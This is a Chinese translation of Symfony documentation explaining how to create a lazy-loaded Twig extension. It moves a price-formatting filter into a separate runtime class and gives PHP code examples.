创建延迟加载的 Twig 扩展

在 Twig 扩展类中包含自定义过滤器/函数的代码是创建扩展的最简单方法。但是,Twig 必须在呈现任何模板之前初始化所有扩展,即使模板不使用扩展也是如此。

如果扩展未定义依赖项(即,如果您不在其中注入服务),则性能不会受到影响。但是,如果扩展定义了许多复杂的依赖项(例如,那些建立数据库连接的依赖项),则性能损失可能很显着。

这就是为什么 Twig 允许将扩展定义与其实现分离的原因。与之前的示例相同,第一个更改是从扩展中删除 formatPrice() 方法,并更新在 getFilters() 中定义的 PHP callable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// src/Twig/AppExtension.php
namespace App\Twig;

use App\Twig\AppRuntime;
use Twig\Extension\AbstractExtension;
use Twig\TwigFilter;

class AppExtension extends AbstractExtension
{
    public function getFilters(): array
    {
        return [
            // the logic of this filter is now implemented in a different class
            new TwigFilter('price', [AppRuntime::class, 'formatPrice']),
        ];
    }
}

然后,创建新的 AppRuntime 类(这不是必需的,但按照惯例,这些类都带有 Runtime 后缀),并包含先前 formatPrice() 方法的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// src/Twig/AppRuntime.php
namespace App\Twig;

use Twig\Extension\RuntimeExtensionInterface;

class AppRuntime implements RuntimeExtensionInterface
{
    public function __construct()
    {
        // this simple example doesn't define any dependency, but in your own
        // extensions, you'll need to inject services using this constructor
    }

    public function formatPrice(float $number, int $decimals = 0, string $decPoint = '.', string $thousandsSep = ','): string
    {
        $price = number_format($number, $decimals, $decPoint, $thousandsSep);
        $price = '$'.$price;

        return $price;
    }
}

如果您正在使用默认的 services.yaml 配置,这将已经可以工作了!否则,为此类创建一个服务,并使用 twig.runtime 标记您的服务

这项工作,包括代码示例,根据 Creative Commons BY-SA 3.0 许可获得许可。
TOC
    版本